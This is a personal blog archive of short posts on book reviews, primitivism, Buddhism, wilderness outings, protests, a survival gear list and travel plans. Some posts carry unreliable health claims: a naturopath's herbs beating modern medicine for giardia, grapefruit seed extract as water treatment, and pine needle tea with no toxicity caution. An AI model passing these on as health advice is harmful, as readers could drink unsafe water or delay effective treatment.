Who knows when this journey started. No doubt, before I had even heard the word Buddha. The shards of my own spiritual wanderings rise up inside of me like secondhand hallucinations. The drugged-out trips of the sixties that led me to Sufi dancing; Hindu chanting; new age enneagrams; Taoist breathing’ Gurdjieffian and Arican “stop” exercises, Kriya, Hatha, Siddha, Raja, and Kundalini Yogas, Indian ashrams; analysis; Peruvian and Native American shamanism — and the reverse: cynicism and despair, the deluded excesses of Hollywood, exploiting the intimacies of the psyche under the brightly colored banner of entertainment. Failing to help exorcise the demons of America. In fact, increasing then. Then numbing solipsism rescued by the road again. Life dances on. All the journeys becoming forgotten dreams. And then, finally, haltingly, the Dharma and taking refuge with Dudjom Rinpoche. Followed by twenty more years of traveling. India. Nepal. East and West. L.A. New York. Greenland, Australia, and Peru. North and South. Cape Breton and Nicaragua. And always, in between, banging around the States with Dharma caravans. Sitting, practicing, failing to practice, being initiated into tantras and sutras, exposed, transmitted, empowered to inner secrets and revelations beyond my comprehension. Saying prayers, whispering prayers, yelling prayers, sleeping through prayers, dropping out, coming back, leaving again, hanging in, taking and breaking and retaking vows, burned out by Dharma centers and Tibetan politics. Why? Why not? And who cares?
  • Rudy Wurlitzer, Hard Travel to Sacred Places

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PhD

If there’s one thing college has done for me, it’s to reinforce the notion that a piece of paper with an accomplishment written on it means little. A title such as Dr. and a jumble of letters after someone’s name is not, by any means, a measure of intelligence.

At the end of each term, we’d fill out evaluations for our classes and Professors — but there was never a question as to if the Professor had a grasp of the subject they were lecturing on or not. Why is that? Dangerous assumptions, says I.

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The Story of B

In The Story of B, Daniel Quinn continues the teachings first layed out in Ishmael. Through B, he furthers his criticism of Civilization by continuing to attack agriculture as its base, and expounding a great deal on religion. Indeed, the majority of the book is devoted to religious issues. Quinn classifies the major religions of the East and West — Hinduism, Buddhism, Judaism, Christianity, and Islam — all as salvationist religions, meaning that they’re all of the opinion that man needs to be saved. He shows this as a result of the development of agriculture and a demonstration that collapse is coming, and has been coming for quite a while. It is certainly a book that fans of Ishmael will enjoy and, if you haven’t read Ishmael yet, what are you doing wasting your time here?

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I think he’s got it

Jeff Vail’s Four Virtues:

I. Own only that which you must presently use, for all else is deceit. Use little, as virtue is derived from experience, not consumption.

II. Simplicity is virtue. The most beautiful form of simplicity is the elegant circle of self-sufficient consumption and creation. In all forms of accounting, do not consume more than you have already created.

III. Virtue is found not in secrecy or in the constraint of freedom, but in acknowledgement, and accepting responsibility for all costs of one’s actions.

IV. Understanding the universe of connection is virtue. Connect with space through silence. Connect with time through experience. Free yourself from ego through awareness. Protect transcendent beauty.

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Ishmael

This is it, here it is. The book that pushes away all others as the most significant book of recent times. It’s been a strong influence on me since before I heard it’s name. Daniel Quinn’s Ishmael is the originator of the primitive movement — the so-called New Tribal Revolution. By allowing one to hear the myth that bombards us every day, Ishmael calls into question the basis of our society and forces one to look at the world in a different way. There’s little to say, other than read this book.

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It’s over, for now

Spring Quarter is over. And not a minute to soon. I had stopped doing homework a few weeks ago. I wasn’t motivated enough to do my final Computer Science project. While every one else crammed for finals, I immersed myself in the writings of primitivism, buddhism, and mayan myth.

I moved out of the dorms tonight and payed the holding fee for where I’ll be living starting September. It’s downtown, above the Pita Pit.

An email just arrived, confirming my reservations for my first three nights in Bangkok. Suk it, dorm style.

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Popul Vuh

Last night I completed Dennis Tedlock’s translation of the Popul Vuh. Often referred to as the Mayan’s Genesis, this is the Quiché people’s creation myth. It tells of the gods’ creation of the earth-sky, their attempts to create humans, the exploits of the trickster‘s Hunahpu and Xbalanque, and the times of the first humans. Unlike most sacred texts, I found this one to be quite accessible. It’s written in a way that, even in translation, flows and is easy to understand. I did have trouble pronouncing many of the names, but for that just ask your friendly neighborhood Guatemalan.

When the first humans were created (on the gods’ third attempt), they had perfect sight. The gods were worried that, being able to see “the four sides, the four corners in the sky, on the earth,” these humans’ deeds would rival their own, so they took the sight away. The name Popul Vuh translates to Council Book. It is said that the Quiché lords would sit with the this book in council and, using the original hieroglyphic version (which is now either lost or hiding) as a celestial guide, could regain the lost sight.

They knew whether war would occur; everything they saw was clear to them. Whether there would be death, or whether there would be famine, or whether quarrels would occur, they knew it for certain, since there was a place to see it, there was a book. “Council Book” was their name for it.

Mel Gibson’s upcoming film Apocalypto is supposed to be partially based on these myths. Hopefully the book will gain more attention because of it.

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The End of the End

Given a period of general decline, which we now seem to be in — the Kali Yuga, a phase of plague, famine, and war that has been described a “the end of the end” — what language would the Blessed One skillfully use to resolve the world’s demise? In contrast to the physical reality of his own age, nature itself seems now threatened with extinction. If we believe that, what is the significance of meditative practices in the modern world, particularly when the “extinction” clock reads two minutes to midnight? Can we spend our time in seclusion and contemplation — even if, of course, we are not striving only for our own enlightenment but for all sentient beings as well? Is enlightenment more important than saving the world? Or is enlightenment the only way of saving the world? … It is time for inner city meditators. Time for Victorious Ones to get their hands dirty in the myriad hell and hungry-ghost worlds of the Planet. Time for bhikkus and bhikkunis to understand the addictions of television and the comforts of the corporate state. Time for spiritual warriors to taste the toxic garbage of a collapsing ecology. If there is to be any more “time.”
  • Rudolph Wurlitzer, Hard Travel to Sacred Places

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Hard Travel to Sacred Places

Rudy Wurlitzer‘s Hard Travel to Sacred Places takes us to the depths of depression caused by death, amplified by the depression of middle-class travel and expensive hotels in S.E. Asia. A kind of Fear and Loathing in Las Vegas, but take out the drugs and toss in Buddhism. Although it’s billed as travel writing, I found the actual locations and travelling to take a back seat to the author’s attempt to reconcile the loss of his step-son with his spiritual beliefs. Indeed, if one were to take out all the Buddhist quotes, the book would probably be halved in length.

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Legend of the Dragonfly

Legend of the Dragonfly gets two thumbs up from me. I really enjoy parties that offer more than just music. (And they had some damn good cookies last night.)

My only complaint is the lighting. There was too much of it, making both the main rooms too bright.

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A Theory of Power

I was first introduced to Jeff Vail (former Intelligence Officer for the US Air Force) last Winter by Anthropik — which will probably give you an idea of what he’s all about. His book, A Theory of Power, has been called “the most innovative approach to anarchist theory in a generation”. It has received praise from both John Zerzan and Noam Chomsky, and includes people such as Hakim Bey, Aldous Huxley, and Robert Anton Wilson in the bibliography. Impressed? I was. And I was right to be. It’s excellent.

The book is based, not surprisingly, on Vail’s theory of power, that “connections, not the parties connected, may best represent our world.” By analyzing the connections between genes and organisms, furthering this to the connections between memes and society, he “unravels the functioning of our world” and shows us the inevitable downfall of Civilization — but then he goes further.

Hakim Bey gives us the T.A.Z.. Jeff Vail gives us the Rhizome, a way to operate outside — and inside — of the T.A.Z.’s space in time.

Rhizome acts as a web-like structure of connected but independent nodes, borrowing its name from the structures of plants such as bamboo and other grasses. By its very nature, rhizome exhibits incompatibility with such critical hierarchal structures as domestication, monoculture-agriculture, division of labor and centralized government. Unlike hierarchy, rhizome cannot suffer exploitation from within because its structure remains incompatible with centralization of power. It provides a structural framework for our conscious organization of memes. Each node in a rhizome stands autonomous from the larger structure, but the nodes work together in a larger network that extends benefits to the node without creating dependence. The critical element of a world that focuses power at the level of the individual, that can meet the demands of our genome while providing the flexibility and potential to achieve greater goals, remains the small, connected and relatively self-sufficient node of this rhizome structure. In human terms, such a node represents an economic and a cultural unit at the size preferred by our genome: the household and the tribe. Functionally self-sufficient but not isolated, cooperating but not controlled, the rhizome economy, combined with a self-awareness of control structures, provides the real-world foundation of stability and freedom.

At only 50 pages, and freely available online, there is little excuse not to read this book. Go now. Forward, to Rhizome.

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Cascadia Now

It always confuses the hell out me when people say Washington and end up referring to that other Washington, but now people in D.C. are being called Washingtonians. This just isn’t going to work. Someone is going to have to change their name.

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Modern Medicine

In his article on giardia, Dave McBee gives a graphic description of what this parasite does and his experience with it. He tells first of his attempt to cure the illness with modern medicine, but that left him worse off than he was in the beginning. Following that failure, he consults a naturopath, who, after a brief examination, prescribes a few herbs. This natural method is able to succeed where modern medicine failed. A telling tale, no?

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Mosquitos

One can always depend upon Tamarack Song to have a different — dare I say hollistic? — view of things. Over at Nature Skills, he has an article on Mosquito Bite Prevention. Some of his more interesting advise is thus:

  • Don’t smell funny and they won’t bite you. Avoid perfumes, “smell like you belong”. (Eat garlic to mask your breath.)
  • Don’t look like a clown and they won’t be attracted to you. Natural, earth hue colors help you to blend in.
  • Bask on oil. Mosquitos don’t like to get their wings greasy.
  • Enjoy a breeze. Mosquitos can only fly 8mph.

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Middle Earth First

In his article Lord of Machines: Into Middle Earth with J.R.R. Tolkien, James Bell compares Tolkein’s Middle Earth myth with today’s Earth First/Earth Liberation Front movements.

I find it interesting that we admire Tolkien so much, but put today’s eco-activists in jail.

My political opinions lean more and more to anarchy (philosophically understood, meaning abolition of control not whiskered men with bombs). There is only one bright spot and that is the growing habit of disgruntled men of dynamiting factories and power stations.
  • Tolkien

In a related article, Starhawk compares Tolkien’s trolls to corporations.

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Not All Who Wander Are Lost

The following excerpt is from an article concerning Wilderness Walkabouts, which I’ll be participating in in a couple weeks.

I once heard Tom Brown Jr. proclaim that, “If you don’t have any place to be or a time to be there you will never be lost.” This is the essence of the art of a Walkabout. You are searching, but not necessarily for anything in particular. You are following your heart and the mysteries that the world leaves for you, be they elk tracks, the top of an unknown peak or a “blank” spot on the map. Your goal is to discover beauty and blend into the landscape. Along the way you sample the wild edible plants, gather your water from the creek or spring, shelter yourself under an ancient tree. When it rains you get wet and when the sun beats down you are hot. Whether it’s one day or a week, by yourself or in a small group, on a good wilderness walkabout you are constantly faced with the unknown, both in the world around you and within. Where does this canyon go? Where will I sleep tonight? How will it be to not see anyone else for an entire day? What sort of tracks are these? Will I be able to start a fire in the pouring rain? You have left behind the known comforts of family, school, home, work, four walls and electricity in exchange for a chance to interact with Mystery for a time. The world around you becomes a metaphor for your internal landscape as you face your fear of a dark starless night and the unknown future that waits for you when you return.

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Adventure Travel in the Third World

An obvious follow up to DP, today I finished reading Adventure Travel in the Third World : Everything You Need To Know To Survive in Remote and Hostile Destinations by Jeff Randall and Mike Perrin. Unlike DP, I’m not a big fan of this book. Though I did learn some things in the wilderness survival and first-aid sections, the book is written rather poorly and the travel advice is, I think, common sense.

It’s not necessarily a bad book, and I certainly respect the authors for their experience and knowledge, but I don’t recommend it.

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The World’s Most Dangerous Places

Robert Young Pelton’s The Wold’s Most Dangerous Places is worthy of being added to the “books that will make you a better human being” list. Different from RYP’s autobiography, DP is adrenaline-filled and hard-hitting. That I read its 1057 pages in little over a week is probably the highest praise I can give.

The bulk of DP acts as a guidebook to the countries profiled, but there are other sections included. When people asked me what I was reading, I found it great fun to read off a couple chapter titles to them: Bribes, Drugs, Getting Arrested, Guns, Kidnapping, Land Mines, and Mercenaries are just some of the more interesting ones.

This 5th edition, published in 2003, can at times feel extremely dated. For instance, the Iraq chapter is pre invasion of Baghdad. The Mercenaries chapter doesn’t mention Blackwater, I think one of the most prominent merc groups, but I guess few knew of them before Fallujah. Pre Ariel Sharon coma, pre Hamas victory. The U.S. chapter even has profiles of Powell and Ashcroft (and, of course, the profile of Cheney mentions nothing of his marksmanship).

The political analysis and history is single-minded and the humor dark, but that’s to be expected from someone who has experienced all that RYP and his contributors have. At times his more compassionate side comes through, making it evident that he’s still part human under that large, bushy mustache.

Despite its shortcomings, DP includes detailed information on locations that you’ll never hear about it in school or the news. Where journalists fear for their lives, RYP is admired and respected by rebel groups, dictators, and special forces groups alike.

Hard-core readers of DP… seek the stone-heavy truth of experience and the wisdom-inducing perspective of intense emotional experience, tempered by the cool intellectual framework of research. Welcome to DP: No walls, no barriers, no bull.

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Forest Ethics

I went to a presentation by Forest Ethics about the Inland Temperate Rainforest (the only one in the world) today. It’s a pretty amazing region, in some ways like the Amazon, but is being destroyed by clearcutting. Forest Ethics puts pressure on logging companies by annoying people like Victoria’s Secret (who put out 1,000,000 million catalogs a day) and hardware stores to stop doing business with loggers who operate in the region.

For those interested in training and discussion in more direct action, and aren’t afraid of the FBI, Forest Defenders is hosting a Cascadia Action Camp this weekend and Wild Earth is a 4 day conference happening this June in B.C.

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They better not delay the trains

Northern Thailand is flooding. You know what the funny part is? It’s not even the rainy season yet. The rainy season starts in June/July, exactly when I’ll be kicking around the North.

I suppose that’s one way to put my fancy moisture-wicking clothing to the test.

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Update

You’ll notice things are looking a bit different around here. I’ve rewritten the whole thing, from the ground up, using only vim. I’m still fiddling with things here and there, but figured it was mostly decent looking enough to move it over. As time allows, I’ll move all the other pages over to this template. Hopefully this next weekend.

I’m not sure I like the text wrapping around the sidebar. That may change.

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Water to Air

Last night was my first time NightWalking since the Redwoods. It seemed much darker than it ever was in California and I was afraid I’d fall off the ridge I was walking on, but, as always, my feet found the path.

It really does work.

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Fourth World

I just got back from hearing Ward Churchill (who’s a registered Republican) speak. He was amazing. The lecture wasn’t really on anything in particular — he went all over the place. He doesn’t use notes, powerpoint, any of that, but you can really feel the passion in him. He shakes, cries, laughs, everything.

He also invited one his friends from the audience, a member of the Black Panther party, to come up and speak for a bit. Among a few other things, he described the morning he was walking around the sand-bagged Seattle Panther office with a riot shotgun and got the call that Fred Hampton had been assassinated. Not something you hear everyday…

Churchill is going to be speaking again tomorrow morning on a panel. If I wake up early enough (doubtful), I’ll go.

Oh, and he’s even larger in person.

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More on Death

…lighten up. It’s only death. We all get to meet him (or her?) at some point. Why not get to know death a little earlier, buy him a drink, slap him on the back, and fake him out? There are things worse than death, such as a full-compliance tax audit by a dyslexic IRS agent or maybe even discount prostate surgery in Monrovia. It helps to look at the big picture when understanding just what might kill you and what won’t. It is the baby boomers’ slow descent into gray hair, brand-name drugs, reading glasses, and a general sense of not quite being as fast as they used to be that drives this whole survival thing. Relax: You’re gonna die. Enjoy life, don’t fear it.

-Robert Young Pelton

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Read a book

Yesterday, for my Anthropology class, I read a short excerpt from Mark Plotkin‘s book Medicine Quest, meant as a brief introduction to entheogen use in indigenous cultures. In it, the author gives a small introduction to Ayahuasca and documents a trip he took in the Amazon. I was happy that this was assigned reading — that information like this is getting out to people other than us crazies who pursue it on our own — but the professor’s lecture on entheogens today reversed my mood into depression. At times she just annoyed me, attributing Aldous Huxley quotes to Allan Watts, mispronouncing Ayahuasca, etc. But at other times, her misrepresentation of facts (and including opiates in the same lecture) was insulting.

People should be required, at the bare minimum, to at least read a well-informed book on the subject before they’re allowed to lecture on it. It makes me shutter to think that today’s lecture may have been someone’s first introduction to entheogens.

On the other hand, I never thought I’d be given a college lecture with photos provided by Erowid.

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Musings

For American Indians, the important explanations of the world are spiritual ones. In their view, there is a deeper reality than the here-and-now. The real essence or wisdom occurs when one finally gives up trying to explain events in terms of “logic” and “reality”. Many confusing aspects of existence can better be explained by actions of a multiplicity of spirits. Instead of a concept of a single god, there is an awareness of “that which we do not understand.” In Lakota religion, for example, the term Wakan Tanka is often translated as “god.” But a more proper translation, according to the medicine people who taught me, is “The Great Mystery.” While rationality can explain much, there are limits to human capabilities of understanding. The English language is structured to account for cause and effect. For example, English speakers say, “It is raining,” with the implication that there is a cause “it” that leads to rain. Many Indian languages, on the other hand, merely note what is most accurately translated as “raining” as an observable fact. Such an approach brings a freedom to stop worrying about causes of things, and merely to relax and accept that our human insights can go only so far. By not taking ourselves too seriously, or over inflating human importance, we can get beyond the logical world. The emphasis of American Indian religions, then, is on the spiritual nature of all things. To understand the physical world, one must appreciate the underlying spiritual essence. Then one can begin to see that the physical is only a faint shadow, a partial reflection, of a supernatural and extrarational world. By the Indian view, everything that exists is spiritual. Every object — plants, rocks, water, air, the moon, animals, humans, the earth itself — has a spirit. The spirit of one thing (including a human) is not superior to the spirit of any other. Such a view promotes a sophisticated ecological awareness of the place that humans have in the larger environment. The function of religion is not to try to condemn or to change what exists, but to accept the realities of the world and to appreciate their contributions to life. Everything that exists has a purpose.
  • Walter L. Williams

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Didgeridoo Dreaming

For the past couple weeks I’ve been listening to Didgeridoo Dreaming: Aboriginal Spiritual Music. It’s an excellent two-disc set of didgeridoo, clapping sticks, and chanting. I think it’s much more conductive to inducing trance than any modern electronic music I’ve heard, even Shpongle.

(And the guy on the cover is hardcore.)

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Death

When we look at life and death from a broader perspective, then dyhing is just like changing our clothes! When this body becomes old and useless, we die and take on a new body, which is fresh, healthy and full of engery! This need not be so bad!
  • the Dalai Lama
Pippin: I didn’t think it would end this way. Gandalf: End? No, it doesn’t end here. Death is just another path … one which we must all take. The grey rain-curtain of this world rolls back, and all change to silver glans… Gandalf: …And then you see it. Pippin: What, Gandalf? See what? Gandalf: White shores … and beyond. A far green country, under a swift sunrise. Pippin: Well, that isn’t so bad. Gandalf: [Softly:] No… No it isn’t.
  • The Lord of the Rings

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Historical Roots of Our Ecological Crisis

Check out Lynn White’s 1967 essay The Historical Roots of Our Ecological Crisis. In it, she blames the shift from Paganism to Christianity for our current state of affairs, but, interestingly, states that Christianity will also be our solution. She also draws an distinction between science and technology, which I had never really thought about before.

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Alone Across Australia

Tonight I went to a showing of Alone Across Australia, a film about Jon Muir (no, not that one) and Seraphine, his dog, who walked across the continent of Australia. Seraphine was killed by a dingo somewhere around day 110, but Jon made it in 128 days. 4 months later he walked to the North Pole.

It was sort of a Les Stroud meets Karl Bushby thing. I highly recommend it.

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Darfur March

I went to the Darfur march today. It started off with a few speakers at Westlake — including a 6th grader and a few highschool students — and then we marched down to the Federal Building and had a “die-in”. When we reached the Federal Building, the police had the entrance tied off with caution tape. I guess one sit-in a week is all they want.

There were only a hundred or so people during the speeches, but that number seemed to grow after we started marching.

Pictures here.

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Not surprising

Despite their claiming otherwise, it seems to me that the Government’s invocation of the States Secrets Privilege in the AT&T spy case is a clear message that the EFF is correct in asserting that AT&T illegally assisted the NSA to spy on us.

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Portal to the Future

I spent most all of Sunday in the Arboretum…again.

Not much of note happened, save for the Portal to the Future that I found. It was in a remote part of the Woods, directly below a sharp cliff (larger than the one I fell off of). Of course, I had to go investigate, so I slid down a part of the cliff on my butt. (Hey, the pants I’m wearing are sold as “bomb-proof”. They practically dared me.)

Portal to the Future

Later on in the day, I was climbing a tree, trying to get up to a fallen log that I could use to walk across a gully. I was trying to get my right arm secured when I lost my footing, causing me to swing down and snap all of my weight onto my left arm. That didn’t feel too good, but I used the arm scrambling up and down later that day, and it feels fine today.

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DMCA 2.0

http://news.com.com/Congress+readies+new+digital+copyright+bill/2100-1028_3

For the last few years, a coalition of technology companies, academics and computer programmers has been trying to persuade Congress to scale back the Digital Millennium Copyright Act.

Now Congress is preparing to do precisely the opposite. A proposed copyright law seen by CNET News.com would expand the DMCA’s restrictions on software that can bypass copy protections and grant federal police more wiretapping and enforcement powers.

During a speech in November, Attorney General Alberto Gonzales endorsed the idea and said at the time that he would send Congress draft legislation. Such changes are necessary because new technology is “encouraging large-scale criminal enterprises to get involved in intellectual-property theft,” Gonzales said, adding that proceeds from the illicit businesses are used, “quite frankly, to fund terrorism activities.”

Smith’s measure would expand those civil and criminal restrictions. Instead of merely targeting distribution, the new language says nobody may “make, import, export, obtain control of, or possess” such anticircumvention tools if they may be redistributed to someone else.

Own a Sharpie? Go to jail.

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Another day in the Woods

I had intended to spend Friday night in the Arboretum, but the weather didn’t agree with me. Instead, I spent most of the day Saturday up there. The shelter I had spent the night in was in need of some patching, which that kept me occupied for an hour or so. After that, I discovered two new shelters (of a sort).

he first was a well put together and elaborate A-frame. It was too small for anybody to fit in, but I imagine, with a tarp, one could make a large bivy-sack out of it. The second looked at first glance as if a bunch of wood had just been piled there, but upon closer inspection it’s obvious that it was placed with a purpose — some sticks were tied together, others duck taped. Had it been built properly, it would have been impressive. I wonder if it just collapsed on itself.

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Ubuntu Dapper Beta

Yesterday, I decided to give the latest Ubuntu beta a go. I first tried to upgrade using Ubuntu’s update-manager, but, alas, GUIs never work. It crashed while trying to upgrade Kino, which also left me with a broken X server. I had downloaded the new Live CD beforehand, so I just booted into that and used the installer. The partitioning tool insisted that my new swap was to be only 1K, which I wasn’t too pleased with. After killing the installer, manually setting my partitions with fstab, and then rerunning the installer, everything worked fine. By the time I rebooted, there were already 65 packages to update. After that, I had to add in some new repos and install the usual additional software.

So far, I’m happy with the release. It seems a bit faster, looks much nicer, and, of course, has a whole slew of updated software.

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Note to Self

Don’t leave the radar detector on. A dead car battery doesn’t help things.

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LinuxFest 2006

This year’s lineup for LinuxFest isn’t very impressive. It’s dissapointing. The first year I live only a few minutes away is the year that the speakers don’t interest me. I’m not sure if I’ll go.

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Survival Gear List

The gear list for my Survival Walk-about arrived today.

Required Non-Clothes Items
  1. Day pack, Waist pack, of 5’ X 5’ cloth (for carrying gear)
  2. One 1 liter water bottle
  3. Water treatment supplies:
    • We recommend either Grapefruit Seed Extract of Aerobic Oxygen, both of which can be bought at natural food stores
    • Another option is Ioding (Liquid or Tablets)
    • Please NO filters
  4. Personal Medical Kit:
    • Band-aids
    • Moleskin (or other blister-care materials)
    • Personal Medications
  5. Sharp sheath knife (Mora/Frosts Knife recommended), NO folding knives
  6. One heavy duty trash bag
Required Clothes *These clothes are to be worn on your body or otherwise fit into your daypack.
  1. A pair of wool or poly blend hiking socks
  2. A pair of Hiking shoes
  3. One long john bottoms/pants (wool or synthetic)
  4. Quick-dry shorts (synthetic)
  5. Belt
  6. Sports Bra/Athletic top (women only)
  7. Long Sleeved shirt (lightweight bug and sun protection)
  8. One long john top or sweater (wool or synthetic)
  9. Rain jacket and rain pants (lightweight and waterproof)
  10. Balaclava or stocking cap
Optional
  1. Study pants (synthetic)
  2. Sunscreen (unscented)
  3. Comb or brush
  4. Toothbrush and floss
  5. Small 3x5 note pad and pencil
  6. Small sewing kit
  7. Compass (simply Suunto or Silva compass with adjustable declination) no lensatic or military compasses

The pack surprised me. I thought they would allow only the clothes on your body. Speaking of clothes, that they recommended shorts was also surprising. Not only are they not very popular (or practical) here in the Pacific Northwest, but they also don’t offer much protection while tramping through the bush. I’ll stick with pants.

I’ve never heard of the knife they recommend. I’ll be bringing a Becker Knife and Tool Crewman.

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Gunner Palace

Gunner Palace is a documentary that follows the U.S. 2/3 Field Artillery around Baghdad. With little narrating, the film is neither pro-war or anti-war. Rather, it simply tries to show a day in the life. Check it out.

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Pine Needle Tea

Yesterday, during my jaunt through the Arboretum, I collected a branch of pine needles. I’ve often heard good things of pine needle tea, so I thought I’d try it. I put a little less than a handful of needles into 1 cup of boiling water, and let it sit for about 15 minutes. Strangely, the tea doesn’t really smell like pine — it had a sort of citrus smell to it. Someone who walked in on me while I was doing this thought it smelled like tangerine.

The tea itself was really good. I think it’s better tasting than most of the fancy store bought stuff, and it’s free. The only downside was that, since I don’t have a strainer, I ended up drinking a few pine needles, too. The needles have a sort of sour after taste and are a little too chewy for my liking. Next time, I’ll try to drink it with my bombilla.

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Recon Wrap

One of the most useful items I brought to the Redwoods was my recon wrap. Head wrap, neck gaiter, face mask, and water filter all in one.

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Success

I’ve been using the soap I made since returning from my trip. The stuff is great. Some of the best soap I’ve ever used, which is high praise considering I normally can’t stand bar soap.

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Easter Island

This article shows Easter Island as a microcosm for our own Civilization.

The fate of Easter Island has wider implications too. Like Easter Island the earth has only limited resources to support human society and all its demands. Like the islanders, the human population of the earth has no practical means of escape. How has the environment of the world shaped human history and how have people shaped and altered the world in which they live? Have other societies fallen into the same trap as the islanders? For the last two million years humans have succeeded in obtaining more food and extracting more resources on which to sustain increasing numbers of people and increasingly complex and technologically advanced societies. But have they been any more successful than the islanders in finding a way of life that does not fatally deplete the resources that are available to them and irreversibly damage their life support system?

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More thoughts on Iraq

This was posted to the Teaching Drum mailing list today, in response to someone mentioning that they were shipping off to Iraq.

I can empathize with your core desire to go fight in Iraq, since I’m a veteran myself (served my time as an intelligence specialist & paratrooper for the U.S. Army light infantry and special forces from 1988-1996, discharging as a Sergeant E-5). Since that time, I’ve traveled the world and studied. I’ve seen how things are in other countries (compared to here in the USA) and learned a great deal about international relations (especially U.S. foreign policy) and American history (especially the U.S. Indian wars). I know what it’s like to feel the call of the guardian/warrior deep in one’s heart — this basic desire to serve your people is a good one, and should be respected. I’ve been following that calling in one form or another all my life, and I can see you are attempting to honor that same calling. No matter what happens in Iraq, you have my personal respect, and I trust you will act as honorably as you can given the situation you are likely to find yourself in there. I’m not going to bullshit you with sugar-coated words however, because I know (from personal experience) that when a man is making the decision to go and participate in killing his fellow man, that is a time for speaking the truth. I want to be straight with you, because I think you deserve that much. I think all soldiers deserve that much. The situation in Iraq is not one where you will be given the opportunity to fight for my freedom (or anyone else’s). In Iraq, you will be required to kill people you do not know — people you have no real understanding of, or personal grievance against. People you cannot listen to or speak with, because you do not understand their language. You will be killing these people in their homes and on their home soil, not ours. Can you point to a single person you know of who has been killed here in America by an Iraqi? In Iraq you will be killing people who can list for you the names of their own family members who have died in their own homeland at the hands of Americans. Do you know what that will mean for you? And yet, you will be required to kill and/or participate in killing these people. You will be forced to do this (even if your heart cries out against what you are doing, and most likely at some point, it will) because you will be taking orders from other men (ultimately politicians) with their own (political) agendas. If eventually your heart grows sick of what you are doing and you refuse taking these orders, you will be punished, then jailed and sent home in disgrace. No matter how the war goes for you, when you return to the U.S.A, what you have experienced in Iraq will put you at risk for a wide range of physical health problems (gulf war syndrome stuff, likely caused by exposure to depleted uranium munitions used by the U.S. military), mental illnesses (caused by post-traumatic stress) and you will be more likely to become an alcoholic, drug addict and/or domestic abuser (i.e. one who abuses his wife & kids) or to become homeless. V.A. mental health and addictions counseling services are being overwhelmed as we speak by returning vets whose spirits are sick & suffering from that war. If you go, you go for your own reasons — and these reasons have nothing to do with my freedom. I will not take part in helping to justify what you are about to do. The freedom that I care about is my freedom to walk the Old Ways — to heed the call of my heart and walk the simple & gentile path of my ancestors close to Mother Earth. That freedom is found here, and the “fight” for it is here. If you want to be a part of that, the struggle begins with you — this is the real path of the guardian/warrior — and it is here, not over in Iraq. I know what the U.S. government is fighting for over there, and it’s pretty simple really. There are no lofty ideals or complex conspiracies — it’s about oil wealth. This war has nothing to do with freedom, and everything to do with the fact that oil (which makes some people rich & powerful beyond their most insane fantasies) is about to start running out on a worldwide scale. If you go, my prayers go with you. At the same time, I’m not going to feed you any crap about what you are getting yourself into. Also, when you get back, if you need some time to heal your spirit and explore who you truly are in close contact with the natural world, then my circle & I here at the Teaching Drum will be honored to serve you in that process. —Glenn P.S. If you get a chance, take a look at some of the following: “On Killing : The Psychological Cost of Learning to Kill in War and Society” by Lt. Col. Dave Grossman “War is a Racket : The Anti-War Classic by America’s Most Decorated General” by Brigadier General Smedley D. Butler Iraq Veterans Against the War: http://www.ivaw.net/ Veterans Against the Iraq War: http://www.vaiw.org/vet/index.php

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Journey to the Ancestral Self

Tamarack Song‘s Journey to the Ancestral Self is an attempt to lay out a life philosophy that encompasses believes of all Native people. (It’s always strange, learning about stuff like this from a white guy.) I think the book fails in its goal, but succeeds in describing Tamarack’s own ideas — heavily influenced by Native thinking.

Much of the book is very similar to Hawkeen Training. I enjoyed it a good bit, and will probably continue reading more of his books (and reread this one).

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In the Wake published

It was announced today that Tools for Gridcash is being published by Lyon’s Press, to be released sometime in the fall. Aric claims it, along with all his future writings, will remain free online.

Why did you decide to publish it commercially? I didn’t actually look for a publisher or submit any manuscripts. Lyon’s Press saw Tools for Gridcrash here on the website, liked it a lot, and offered me a contract. I accepted for a few reasons. First, I feel that it will bring this project, and the ideas in it, to a larger audience. It will also provide me with the income that I need so that I can work on this project rather then spending all my time at a wage job — donations are a minimal source of income right now and won’t pay for the supplies I need for the upcoming series of illustrated how-to’s this summer. (Of course, donations are still needed and welcome!) And having a book published will also make it easier to get certain other things done for the project. Also, since they book is ultimately very useful during an actual gridcrash, it makes sense to have someone make lots of dead-tree copies and strew them around homes and bookstores across the continent. I don’t have the resources to do that.

I’ll be buying a copy.

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Survival Walk-about

I’ve signed up for a 3-Day Survival Walk-about in mid June. It should be interesting — I’ve never done anything like it before.

If you have ever wanted to relate to the earth without the conveniences of our modern world, this is the experience for you. The 3-Day Survival Walk-about is designed to allow people to touch nature in a pure and unmediated manner, to experience the freedom of walking across a landscape and trusting in the earth to provide for all of our needs.

Participants will walk into the wilderness with only a knife and water purifiers, and we’ll learn and apply survival skills as the need for them arises. Involving shelter building, harvesting edible plants, navigation techniques and fire-making, this wander gives you the opportunity to experience nature in an ancient and meaningful way.

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Finally, a report

The trip deviated from the plan, but was still a success, thanks to me keeping my expectations open. It’s hard not to enjoy oneself in the natural world.

Originally, I’d planned to park somewhere in the Redwoods and hike up to a “primitive campsite” with my pack. The first deviation came when I discovered that I’d be charged $15 p/ night just to park — the same as what was charged to camp in a normal camp site. On top of that, there was self-registration available for normal camping, but not for the primitive camp (it was off-season, so the visitor’s center was closed). So, I decided to camp at the normal site.

I’d also agreed to give Wade, my friend at the University of Oregon, a ride back to Seattle and, since we’d be driving up the coast, his roommate, Jordon, a ride to Astoria, which meant I’d have to be back in Eugene on Thursday.

Saturday Left home in the morning. I took i-5 down to Eugene, arriving early in the evening. After meeting up with Wade and some of his friends at the University of Oregon, we went to explore Hendricks Park. Dinner at the Laughing Planet Cafe and dessert at Sweet Life. I spent the night on a spare bed in the dorms.

Sunday Left Eugene early in the morning. I took OR-126 out to the coast, where I got on 101 and headed south. I entertained myself throughout the drive by stopping at lots of parks and scenic pull-offs. (I don’t know why Bellingham is so renowned for biker gangs — southern Oregon certainly has more.) I ended up reaching the California border as the sun was going down and decided to spend the night in a hotel in Crescent City, CA.

